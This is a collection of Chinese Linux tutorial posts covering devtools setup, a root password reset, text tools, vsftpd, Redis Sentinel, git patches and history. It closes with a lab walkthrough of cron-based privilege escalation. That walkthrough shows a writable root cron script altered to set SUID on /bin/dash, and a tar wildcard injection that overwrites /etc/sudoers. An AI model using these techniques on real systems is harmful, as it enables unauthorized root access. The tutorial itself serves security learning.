Ubuntu 下搭建微信小程序开发环境

ubuntu 下首次搭建微信小程序开发环境

首先安装 wine,参考 https://wiki.winehq.org/Ubuntu

安装微信小程序开发工具

1.拉取小程序工具代码:git clone [email protected]:cytle/wechat_web_devtools.git
2.进入小程序工具目录:cd wechat_web_devtools
3.安装 wxdt:./bin/wxdt install
4.启动:./bin/wxdt

升级小程序开发工具

更新 github 仓库即可

git pull origin

但是更新过程异常缓慢,因为源码库太大了,属于滥用了。

已测试环境

Ubuntu 18.04
Ubuntu 16.10

CentOS 7 root 密码重置

平日里让运维人员头疼的事情已经很多了,因此偶尔把 Linux 系统的密码忘记了并不用慌,只需简单几步就可以完成密码的重置工作。但前提是必须可以直接登录系统终端,也就是直连主机,因为需要修改启动项。

步骤一:重启系统

首先要重启系统,在出现启动项选项时快速按下 ⬆️ 或 ⬇️,避免系统自动选择。然后选择第一项,按下 e 键进入引导编辑界面。
未分类

步骤二:编辑引导选项

在 linux16 参数这行的最后面追加 rd.break 参数,然后按下 Ctrl+X 来运行修改过的引导选项。
未分类

步骤三:修改 root 密码

重新引导后,即可进入系统的紧急求援模式。
未分类
这时候,依次输入以下命令即可修改 root 密码。

mount -o remount,rw /sysroot
chroot /sysroot
passwd
touch /.autorelabel
exit
reboot

未分类
由于我安装时系统选择的是中文,所以在终端上密码提示显示的是方块。
重启后即可以新密码进入系统。

Centos 7 查看内存占用情况相关命令

1、 top命令

top命令经常用来监控linux的系统状况,比如cpu、内存的使用,程序员基本都知道这个命令。
按 q 退出
未分类

2、free -m:看内存占用

未分类
主要看第一行Mem 总共 15710 M , 使用了 823 M , 剩余空闲 7895 M 。这个shared 223M 也不知道用在哪里。

3、 df -h :看硬盘占用率

未分类

Shell中使用grep、sed正则提取、替换字符串

Linux中使用grep正则提取字符串

echo office365 | grep -P 'd+' -o
find . -name "*.txt" | xargs grep -P 'regex' -o

xargs会将find结果作为grep的输入,防止find结果过多无法处理
-P参数表明要应用正则表达式
-o表示只输出匹配的字符串,这样我们就可以把正则匹配到的结果拿到了。

Linux、Mac OS中使用sed正则提取字符串

Mac OS上用正则的话要用e参数取代P参数,也可以用sed命令:
sed命令格式:

sed 's/oldValue/newValue/g'

提取字符串

echo here365test | sed 's/.*ere([0-9]*).*/1/g'

输出:

365

s表示替换,1表示用第一个括号里面的内容替换整个字符串,sed支持*,不支持?、+,不能用d之类,正则支持有限。

替换字符串

echo here365test | sed 's/365/789/g'

输出:

here789test

Linux下批量杀掉筛选进程

在做项目的时候,由于情况要求,需要把服务器上符合某一条件的进程全部kill掉,但是又不能使用killAll直接杀掉某一进程名称包含的所有运行中的进程(即我们可能只需要杀掉某一类含有特定参数命令的进程)。
具体命令参考:

ps -ef | grep test | grep -v grep | awk '{print $2}' | xargs kill -9 

其中:

  • |管道符,用来隔开两个命令,管道符左边命令的输出会作为管道符右边命令的输入。
  • ps命令用来列出系统中当前运行的进程, ps -ef显示所有进程信息,联通命令行。
  • grep命令用于过滤/搜索特定字符,grep test在这里为搜索过滤所有含有‘test’名称的进程
  • grep -v grep-v 显示不包含匹配文本的所有行,在这里为筛选出所有不包含grep名称的进程,对上一步的进程再做一次筛选(因为ps -ef列出了所有的命令,包括命令行)
  • awk在文件或字符串中基于指定规则浏览和抽取信息;把文件逐行读入,以空格为默认分隔符将每行切片,然后再进行后序处理。这里利用awk ‘{print $2}’将上一步中过滤得到的进程进行打印,$2表示打印第二个域(PID,进程号) $0表示所有域,$1表示第一个域,$n表示第n个域。
  • xargs命令是给命令传递参数的过滤器,善于把标准数据数据转换成命令行参数。在这里则是将获取前一个命令的标准输出然后转换成命令行参数传递给后面的kill命令。
  • kill -9强制关闭进程。

此外,也有使用cut命令进行处理的,参考如下:

ps -ef | grep test | grep -v grep | cut -c 9-15 | xargs kill -9 

cut -c 9-15仅显示第9-15个字符(即PID,进程号)

Centos7-Vsftpd虚拟用户

vsftpd定义

vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux, BSD, Solaris, HP-UX 以及 IRIX 上面。它支持很多其他的 FTP 服务器不支持的特征。此外,本文还介绍了FTP基本原理,以及FTP用户管理方面的基础知识。

简介

vsftpd 是”very secure FTP daemon”的缩写,安全性是它的一个最大的特点。vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux、BSD、Solaris、 HP-UNIX等系统上面,是一个完全免费的、开放源代码的ftp服务器软件,支持很多其他的 FTP 服务器所不支持的特征。比如:非常高的安全性需求、带宽限制、良好的可伸缩性、可创建虚拟用户、支持IPv6、速率高等。
vsftpd是一款在Linux发行版中最受推崇的FTP服务器程序。特点是小巧轻快,安全易用。
在开源操作系统中常用的FTPD套件主要还有ProFTPD、PureFTPd和wuftpd等。

特点

1、vsftpd 是以一般身份启动服务,所以对于 Linux 系统的使用权限较低,对于Linux 系统的危害就相对的减低了。此外, vsftpd 亦利用 chroot() 这个函式进行改换根目录的动作,使得系统工具不会被vsftpd 这支服务所误用;
2、任何需要具有较高执行权限的 vsftpd 指令均以一支特殊的上层程序( parent process ) 所控制 ,该上层程序享有的较高执行权限功能已经被限制的相当的低,并以不影响Linux 本身的系统为准;
3、所有来自 clients 端,想要使用这支上层程序所提供的较高执行权限之vsftpd 指令的需求,均被视为『不可信任的要求』来处理,必需要经过相当程度的身份确认后,方可利用该上层程序的功能。例如chown(), Login 的要求等等动作;
4、此外,上面提到的上层程序中,依然使用 chroot() 的功能来限制使用者的执行权限。

实验环境:

系统:Centos7-3.10.0-514.el7.x86_64
系统IP:192.168.152.164
Vsftpd服务器端:vsftpd-3.0.2-22.el7.x86_64
Vsftpd客户端:ftp-0.17-67.el7.x86_64
注:客户端不重要,这里安装是为了本地做测试,如果不安装,用telnet做测试也行,根据自己喜欢方式即可
关闭防火墙 systemctl stop firewalld.service
禁止防火墙开机自启 systemctl disable firewalld.service
关闭selinux sed -i ‘s/SELINUX=enforcing /SELINUX=disabled/g’
/etc/sysconfig/selinux

一、安装ftp服务

1、 查看是否安装vsftpd rpm -qa | grep vsftpd

2、安装vsftpd和ftp yum -y install vsftpd ftp

3、设置服务开机自启 systemctl enable vsftpd

二、建立虚拟FTP用户的帐号数据库文件

1、编辑虚拟数据库文件 vi /etc/vsftpd/ftp.list
未分类
注:该虚拟用户数据库文件的奇数行为用户名,偶数行为密码。

2、将虚拟用户数据库文件转换为认证模块识别的数据文件
db_load -T -t hash -f /etc/vsftpd/ftp.list /etc/vsftpd/ftp.db
未分类
注:如果上边转换数据文件命令报错,有可能是系统没有安装db_load这个命令,原因是没有安装db4这个包,根据不同系统包名不同,所以需要自行百度。

3、给虚拟用户数据库文件和认证模块识别的数据文件指定权限
chmod 600 /etc/vsftpd/ftp.*
未分类

三、创建一个虚拟用户映射的真实系统用户

1、创建一个目录作为上传数据目录 mkdir /data/
注:我们也用这个目录来作为系统用户的家目录,这样更安全。

2、创建用户并指定家目录 useradd -d /data/ -s /sbin/nologin ftpuser
未分类
3、查看是否创建系统用户并指定家目录为/data/ cat /etc/passwd
未分类
4、给这个用户家目录设置权限 chmod 755 /data/

5、创建每个虚拟用户的家目录 mkdir /data/file_1
未分类
注:这里创建的三个目录为三个虚拟用户的家目录,user1虚拟用户家目录为file_1,
user2虚拟用户家目录为file_2,user3虚拟用户家目录为file_3。

6、递归更改用户家目录属性 chown -R ftpuser:ftpuser /data/
未分类
注:创建一个虚拟用户映射的真实系统用户,指定它的家目录为其他目录,默认为/home目录,虚拟用户可能没有权限访问,指定让这个用户不能登录系统,并赋予指定家目录权限为755即可。

四、配置pam认证模块

1、备份pam认证模块配置文件 cp /etc/pam.d/vsftpd /etc/pam.d/vsftpd.pam

2、配置pam认证模块文件 vi /etc/pam.d/vsftpd
未分类
注:清除这里所有文件,只需要编辑这两行文件即可。切记这里的db=/etc/vsftpd/ftp是指定的数据库转换文件路径,也就是我们前边创建的ftp.db这个文件的路径,可能有些童鞋会问,不对啊,你这里怎么没有后缀.db呢?问的好!这就是pam认证的方式,只需要路径而不需要后缀名,如果说你偏加后缀也没关系,那就只有报错喽!

3、认证方式(以下只需要看看即可,跟实验操作没关系)
通过修改vsftpd的PAM配置文件 /etc/pam.d/vsftpd来决定vsftpd使用何种认证方式,可以是本地系统的真实用户认证(模块pam_unix),也可以是独立的用户认证数据库(模块pam_userdb),也可以是网络上的LDAP数据库(模块pam_ldap)等。所有这些模块都存放在/lib/security/目录(对AMD64则是/lib64/security/)

五、配置vsftpd配置文件

1、备份vsftpd配置文件 cp /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.backup
未分类
2、编辑vsftpd配置文件 vi /etc/vsftpd/vsftpd.conf
未分类
注:以上截图的文件路径没有的别急,我们在下边创建了,只不过是先在这配置文件写上而已,列如:user_config_dir=/etc/vsftpd/dir和chroot_list_file=/etc/vsftpd/chroot_list
这俩个文件在下边会创建,所以不用担心,或者搞不懂。其余别的自行百度查询意思即可。

六、创建几个不同权限的虚拟用户

1、创建根本目录列表文件 vi /etc/vsftpd/chroot_list
未分类
注:有多少个虚拟用户,分别按照以上格式写在根本目录列表文件里。这个文件对应的是
/etc/vsftpd/vsftpd.conf文件的这行chroot_list_file=/etc/vsftpd/chroot_list

2、创建虚拟用户配置文件目录 mkdir /etc/vsftpd/dir

3、创建虚拟用户配置文件(多少用户创建多少个)

1)创建user1虚拟用户配置文件 vi /etc/vsftpd/dir/user1
未分类
注:每个虚拟用户都从这里指定访问权限,当前user1虚拟用户拥有完全权限。

2)创建user2虚拟用户配置文件 vi /etc/vsftpd/dir/user2
未分类
注:当前user2用户只用上传下载的权限。

3)创建user3虚拟用户配置文件 vi /etc/vsftpd/dir/user3
未分类
注:当前user3用户只有上传和下载和创建目录的权限,无其他权限。

4、重启vsftpd服务 systemctl restart vsftpd

5、查看监听端口 netstat -antupl | grep vsftpd
未分类

七、测试虚拟用户是否生效

1、虚拟用户测试方式:
方式一:本地服务器使用ftp命令测试 ftp 127.0.0.1
未分类
方式二:使用真机机器访问服务器 ftp://192.168.152.164
未分类
2、虚拟用户权限测试方式

方式一:使用user1,完全权限登陆,实现所有操作。
注:此操作无法演示,但实验已经成功。

方式二:使用user2,只有上传下载功能,无其他任何权限。
未分类
未分类
方式三:使用user3,只有上传下载和新建目录的权限,无其他权限。
注:此操作无法演示,但实验已经成功。

八、被动模式开启方式:

1、首先需要在vsftpd配置文件添加如下数据
pasv_enable=YES
pasv_min_port=10030
pasv_max_port=10035

2、设置防火墙iptables
1)然后开启对应的端口即可,如下
iptables -A INPUT -p tcp -m state –state NEW -m tcp –dport 21 -j ACCEPT
iptables -A INPUT -p tcp –dport 10030:10035 -j ACCEPT
iptables -A INPUT -s 192.168.0.0/16 -p tcp –dport 21 -j ACCEPT

2)在然后对于防火墙需要按顺序开启如下模块
/usr/sbin/modprobe ip_conntrack_ftp
/usr/sbin/modprobe ip_nat_ftp
未分类
总结:以上完全实现了vsftpd的虚拟用户搭建,但是切记尽量使用,vsftpd的被动模式,因为主动模式会被防火墙自动拦截。除非完全在内网使用并且每台机器都关闭了防火墙。

Redis 备份、容灾及高可用实战

Redis已经大量应用于各种互联网架构场景中,其优异的性能,良好的操作性,以及大量的场景应用案例,使得Redis备受瞩目。本文作者向大家介绍了一种Redis在非大集群分布式应用场景下的灾备解决方案。一起来品读一下吧~

一,Redis简单介绍

Redis是一个高性能的key-value非关系型数据库,由于其具有高性能的特性,支持高可用、持久化、多种数据结构、集群等,使其脱颖而出,成为常用的非关系型数据库。
此外,Redis的使用场景也比较多。
会话缓存(Session Cache)
Redis缓存会话有非常好的优势,因为Redis提供持久化,在需要长时间保持会话的应用场景中,如购物车场景这样的场景中能提供很好的长会话支持,能给用户提供很好的购物体验。
全页缓存
在WordPress中,Pantheon提供了一个不错的插件wp-redis,这个插件能以最快的速度加载你曾经浏览过的页面。
队列
Reids提供list和set操作,这使得Redis能作为一个很好的消息队列平台来使用。
我们常通过Reids的队列功能做购买限制。比如到节假日或者推广期间,进行一些活动,对用户购买行为进行限制,限制今天只能购买几次商品或者一段时间内只能购买一次。也比较适合适用。
排名
Redis在内存中对数字进行递增或递减的操作实现得非常好。所以我们在很多排名的场景中会应用Redis来进行,比如小说网站对小说进行排名,根据排名,将排名靠前的小说推荐给用户。
发布/订阅
Redis提供发布和订阅功能,发布和订阅的场景很多,比如我们可以基于发布和订阅的脚本触发器,实现用Redis的发布和订阅功能建立起来的聊天系统。
此外还有很多其它场景,Redis都表现的不错。

二,Redis使用中单点故障问题

正是由于Redis具备多种优良特新,且应用场景非常丰富,以至于Redis在各个公司都有它存在的身影。那么随之而来的问题和风险也就来了。Redis虽然应用场景丰富,但部分公司在实践Redis应用的时候还是相对保守使用单节点部署,那为日后的维护带来了安全风险。
在2015年的时候,曾处理过一个因为单点故障原因导致的业务中断问题。当时的Redis都未采用分布式部署,采用单实例部署,并未考虑容灾方面的问题。
当时我们通过Redis服务器做用户购买优惠商品的行为控制,但后来由于未知原因Redis节点的服务器宕机了,导致我们无法对用户购买行为进行控制,造成了用户能够在一段时间内多次购买优惠商品的行为。
这种宕机事故可以说已经对公司造成了不可挽回的损失了,安全风险问题非常严重,作为当时运维这个系统的我来说有必要对这个问题进行修复和在架构上的改进。于是我开始了解决非分布式应用下Redis单点故障方面的研究学习。

三,非分布式场景下Redis应用的备份与容灾

Redis主从复制现在应该是很普遍了。常用的主从复制架构有如下两种架构方案。
常用Redis主从复制

  • 方案一
    未分类

这是最常见的一种架构,一个Master节点,两个Slave节点。客户端写数据的时候是写Master节点,读的时候,是读取两个Slave,这样实现读的扩展,减轻了Master节点读负载。

  • 方案二
    未分类

这种架构同样是一个Master和两个Slave。不同的是Master和Slave1使用keepalived进行VIP转移。Client连接Master的时候是通过VIP进行连接的。避免了方案一IP更改的情况。
Redis主从复制优点与不足
优点
1.实现了对master数据的备份,一旦master出现故障,slave节点可以提升为新的master,顶替旧的master继续提供服务
2.实现读扩展。使用主从复制架构, 一般都是为了实现读扩展。Master主要实现写功能, Slave实现读的功能
不足
1.架构方案一
未分类
当Master出现故障时,Client就与Master端断开连接,无法实现写功能,同时Slave也无法从Master进行复制。
此时需要经过如下操作(假设提升Slave1为Master):
1)在Slave1上执slaveof no one命令提升Slave1为新的Master节点。
2)在Slave1上配置为可写,这是因为大多数情况下,都将slave配置只读。
3)告诉Client端(也就是连接Redis的程序)新的Master节点的连接地址。
4)配置Slave2从新的Master进行数据复制。
2.架构方案二
未分类
当master出现故障后,Client可以连接到Slave1上进行数据操作,但是Slave1就成了一个单点,就出现了经常要避免的单点故障(single point of failure)。
之后需要经过如下操作:
1)在Slave1上执行slaveof no one命令提升Slave1为新的Master节点
2)在Slave1上配置为可写,这是因为大多数情况下,都将Slave配置只读
3)配置Slave2从新的Master进行数据复制
可以发现,无论是哪种架构方案都需要人工干预来进行故障转移(failover)。需要人工干预就增加了运维工作量,同时也对业务造成了巨大影响。这时候可以使用Redis的高可用方案-Sentinel

四,Redis Sentinel介绍

Redis Sentinel为Redis提供了高可用方案。从实践方面来说,使用Redis Sentinel可以创建一个无需人为干预就可以预防某些故障的Redis环境。
Redis Sentinel设计为分布式的架构,运行多个Sentinel进程来共同合作的。运行多个Sentinel进程合作,当多个Sentinel同一给定的master无法再继续提供服务,就会执行故障检测,这会降低误报的可能性。

五,Redis Sentinel功能

Redis Sentinel在Redis高可用方案中主要作用有如下功能:

  • 监控
    Sentinel会不断的检查master和slave是否像预期那样正常运行

  • 通知
    通过API,Sentinel能够通知系统管理员、程序监控的Redis实例出现了故障

  • 自动故障转移
    如果master不像预想中那样正常运行,Sentinel可以启动故障转移过程,其中的一个slave会提成为master,其它slave会重新配置来使用新的master,使用Redis服务的应用程序,当连接时,也会被通知使用新的地址。

  • 配置提供者
    Sentinel可以做为客户端服务发现的认证源:客户端连接Sentinel来获取目前负责给定服务的Redis master地址。如果发生故障转移,Sentinel会报告新的地址。

六,Redis Sentinel架构

未分类

七,Redis Sentinel实现原理

Sentinel集群对自身和Redis主从复制进行监控。当发现Master节点出现故障时,会经过如下步骤:

  • 1)Sentinel之间进行选举,选举出一个leader,由选举出的leader进行failover

  • 2)Sentinel leader选取slave节点中的一个slave作为新的Master节点。对slave选举需要对slave进行选举的方法如下:
    a) 与master断开时间
    如果与master断开的时间超过down-after-milliseconds(sentinel配置) * 10秒加上从sentinel判定master不可用到sentinel开始执行故障转移之间的时间,就认为该slave不适合提升为master。
    b) slave优先级
    每个slave都有优先级,保存在redis.conf配置文件里。如果优先级相同,则继续进行。
    c) 复制偏移位置
    复制偏移纪录着从master复制数据复制到哪里,复制偏移越大表明从master接受的数据越多,如果复制偏移量也一样,继续进行选举
    d) Run ID
    选举具有最小Run ID的Slave作为新的Master
    流程图如下:
    未分类

  • 3) Sentinel leader会在上一步选举的新master上执行slaveof no one操作,将其提升为master节点

  • 4)Sentinel leader向其它slave发送命令,让剩余的slave成为新的master节点的slave

  • 5)Sentinel leader会让原来的master降级为slave,当恢复正常工作,Sentinel leader会发送命令让其从新的master进行复制

以上failover操作均有sentinel自己独自完成,完全无需人工干预。
总结
使用sentinel实现了Redis的高可用,当master出现故障时,完全无需人工干预即可实现故障转移。避免了对业务的影响,提高了运维工作效率。
在部署sentinel的时候,建议使用奇数个sentinel节点,最少三个sentinel节点。

通过 git diff 生成 patch 补丁

基于同一套代码,做了两套系统,一套英文的,一套中文的。最近改了一个功能,在英文系统上改的,改动很大,涉及的文件众多。而这个功能验证通过之后,需要在中文系统上再实现一遍。非常痛苦。。。

于是想到是否可以通过 git diff 为英文系统的修改生成一个 patch 补丁,然后在中文系统上应用这个 patch。Google 了一下,还真是可以!

Git 真是无比强大!

Git 操作

以未提交的修改为例

git diff > feature_a.patch

但是,如果有新增的文件,并不在 git 管理之内

git diff --cached > feature_a.patch

如果还包含二进制文件,例如图片等

git diff --cached --binary > feature_a.patch

应用 patch

git apply feature_a.patch

如何在 Linux 中使用 history 命令

用强大的 history 命令使你的命令行提示符更有效率。

随着我在终端中花费越来越多的时间,我感觉就像在不断地寻找新的命令,以使我的日常任务更加高效。GNU 的 history 命令是一个真正改变我日常工作的命令。

GNU history 命令保存了从该终端会话运行的所有其他命令的列表,然后允许你重放或者重用这些命令,而不用重新输入它们。如果你是一个老玩家,你知道 history 的力量,但对于我们这些半吊子或新手系统管理员来说, history 是一个立竿见影的生产力增益。

历史 101

要查看命令历史,请在 Linux 中打开终端程序,然后输入:

$ history

这是我得到的响应:

1  clear
2  ls -al
3  sudo dnf update -y
4  history

history 命令显示自开始会话后输入的命令列表。 history 有趣的地方是你可以使用以下命令重放任意一个命令:

$ !3

提示符中的 !3 告诉 shell 重新运行历史列表中第 3 个命令。我还可以输入以下命令来使用:

linuser@my_linux_box: !sudo dnf

history 将搜索与你提供的模式相匹配的最后一个命令,并运行它。

搜索历史

你还可以输入 !! 重新运行命令历史中的最后一条命令。而且,通过与grep 配对,你可以搜索与文本模式相匹配的命令,或者通过与 tail 一起使用,你可以找到你最后几条执行的命令。例如:

$ history | grep dnf
3  sudo dnf update -y
5  history | grep dnf
$ history | tail -n 3
4  history
5  history | grep dnf
6  history | tail -n 3

另一种实现这个功能的方法是输入 Ctrl-R 来调用你的命令历史记录的递归搜索。输入后,提示变为:

(reverse-i-search)`':

现在你可以开始输入一个命令,并且会显示匹配的命令,按回车键执行。

更改已执行的命令

history 还允许你使用不同的语法重新运行命令。例如,如果我想改变我以前的命令 history | grep dnf 成 history | grep ssh,我可以在提示符下执行以下命令:

$ ^dnf^ssh^

history 将重新运行该命令,但用 ssh 替换 dnf,并执行它。

删除历史

有时你想要删除一些或全部的历史记录。如果要删除特定命令,请输入 history -d <行号>。要清空历史记录,请执行 history -c 。

历史文件存储在一个你可以修改的文件中。bash shell 用户可以在他们的家目录下找到 .bash_history。

下一步

你可以使用 history 做许多其他事情:

  • 将历史缓冲区设置为一定数量
  • 记录历史中每行的日期和时间
  • 防止某些命令被记录在历史记录中

有关 history 命令的更多信息和其他有趣的事情,请参考 GNU Bash 手册https://www.gnu.org/software/bash/manual/

利用定时任务(Cronjobs)进行Linux提权

本文讲解如何利用Linux的Cron Jobs(定时任务)来进行权限提升。

cron jobs

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

未分类

未分类

比如,在下面的crontab 命令中,就可以每个1个小时自动打印apach错误日志。

1 0 * * * printf "" > /var/log/apache/error_log

Crontab文件覆写

创建一个定时任务

目标:创建一个运行python脚本来擦除特定目录的所有数据
假设目录cleanup就是要擦除的目录,我们希望每隔2分钟就清除1次目录。首先,向该目录中创建一些文件:

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

下图是上面命令执行的结果:

未分类

下面我们写一个python程序来删除 /home/cleanup的内容。

cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()
chmod 777 cleanup.py

未分类

编辑crontab添加定时任务,每隔2分钟运行一次cleanup.py脚本。

nano /etc/crontab
*/2 *   * * *   root    /tmp /cleanup.py

下面验证一下效果:

cd /home/cleanup
ls
date
ls

未分类

利用

开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

从上面的步骤,我们可以看出crontab 每隔2分钟执行一次python脚本。

未分类

下面想办法去利用它:

其实有许多方法可以获取root权限,我们采用开启/bin/dash SUID位的方法。首先,打开文件,比如nano cleanup.py,用下面的命令替换原来命令中的“rm -r /tmp/*”:

os.system('chmod u+s /bin/dash')

未分类

2分钟后,就设置了/bin/dash的SUID权限,运行完成后就获取了root权限。

/bin/dash
id
whoami

提权任务完成。

Crontab Tar Wildcard注入

创建定时任务

目标:创建一个备份的crontab任务。
该目录应该有backup的执行权限。

未分类

下面设定一个定时任务来运行tar程序,每分钟备份1次/html文件夹到/var/backups。

nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

未分类

执行下面的命令来验证一下:

cd /var/backup
ls
date

从下图可以看出,html.tgz文件每隔1分钟生成1次。

未分类

利用

开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:

cat /etc/crontab

从下图可以看出该定时任务已成功以root权限执行了。

未分类

下面想办法去利用。
执行下面的命令来给当前登录用户sudo权限,随后进行wildcard注入。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

1分钟后,用户被授予sudo权限。

sudo -l
sudo bash
whoami

未分类

成功获取root权限。

总结

本文讲述了两种利用Linux定时任务crontab进行用户权限提升的方法。